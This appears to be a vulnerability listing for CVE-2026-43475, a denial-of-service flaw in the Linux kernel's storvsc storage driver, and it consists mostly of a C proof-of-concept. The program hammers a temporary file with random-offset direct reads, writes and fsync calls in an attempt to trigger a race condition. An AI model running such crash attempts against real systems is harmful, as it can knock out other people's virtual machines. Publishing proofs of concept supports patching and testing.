CVE-2026-43475 Linux内核storvsc驱动拒绝服务漏洞

// PoC: Simulate I/O mixing to stress the storvsc driver. // Based on the 'stress-ng-iomix' trace in the vulnerability report. // This code attempts to trigger the race condition on a vulnerable kernel. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define BUFFER_SIZE 4096 void trigger_io_stress(const char *filename) { int fd = open(filename, O_RDWR | O_CREAT | O_DIRECT, 0644); if (fd < 0) { // Fallback if O_DIRECT not supported (e.g. on some filesystems) fd = open(filename, O_RDWR | O_CREAT, 0644); } if (fd < 0) { perror("open"); return; } char *buffer = aligned_alloc(BUFFER_SIZE, BUFFER_SIZE); if (!buffer) { perror("aligned_alloc"); close(fd); return; } memset(buffer, 'A', BUFFER_SIZE); // Perform mixed I/O operations similar to stress-ng for (int i = 0; i < 100000; i++) { pwrite(fd, buffer, BUFFER_SIZE, (rand() % 1000) * BUFFER_SIZE); pread(fd, buffer, BUFFER_SIZE, (rand() % 1000) * BUFFER_SIZE); fsync(fd); } free(buffer); close(fd); } int main() { printf("Starting I/O stress to potentially trigger CVE-2026-43475...\n"); // Create a temporary file to perform operations on trigger_io_stress("/tmp/test_storvsc_poc.dat"); printf("I/O stress completed.\n"); return 0; }